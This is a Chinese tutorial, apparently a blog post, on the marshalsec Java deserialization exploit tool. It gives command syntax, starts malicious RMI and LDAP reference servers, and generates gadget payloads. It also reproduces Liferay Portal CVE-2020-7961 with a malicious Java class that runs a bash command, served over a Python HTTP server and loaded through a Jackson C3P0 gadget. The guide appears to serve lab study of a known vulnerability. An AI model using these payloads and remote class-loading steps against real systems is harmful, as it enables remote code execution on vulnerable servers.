命令格式
marshalsec命令格式如下:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明:
- -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder,SpringAbstractbeanfactorypointcutAdvisor,Rome,XBean,Resin)
- -t:对生成的payloads进行解码测试
- -v:verbose mode,展示生成的payloads
- gadget_type:指定使用的payload
- arguments - payload运行时使用的参数
- marshalsec.<marshaller>:指定exploits,根目录下的java文件名
开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
查询可用Gadget
java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例
生成特定Payload
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject
攻击载荷
目前marshalsec支持的exploit和payload有:
Marshaller | Gadget Impact |
---|---|
BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization varIoUs third party libraries RCEs |
Hessian|Burlap | varIoUs third party RCEs |
Castor | dependency library RCE |
Jackson | possible JDK only RCE,varIoUs third party RCEs |
Java | yet another third party RCE |
JsonIO | JDK only RCE |
JYAML | JDK only RCE |
Kryo | third party RCEs |
KryoAltStrategy | JDK only RCE |
Red5AMF(0|3) | JDK only RCE |
SnakeYAML | JDK only RCEs |
XStream | JDK only RCEs |
YAMLBeans | third party RCE |
列出所有jackson的gadgets 传参为calc
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"
如果想查找组件可以生成的gadgets有哪些
以Jackson为例
D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson
如果想查找gadgets可以用于哪些组件生成
方法1、以resin为例,可以查看手册
方法2、选择想看的gadgets->find usages
使用实例:
Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/
marshalsec的使用如下:
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash","-c","touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printstacktrace();
}
}
}
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
其中,http://127.0.0.1/
是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。
这里需要注意 是2个参数
第一个参数 http://127.0.0.1/ 是python启动的http服务器
第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名
就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现
可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class
从而成功访问到 LifExp.class 文件
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。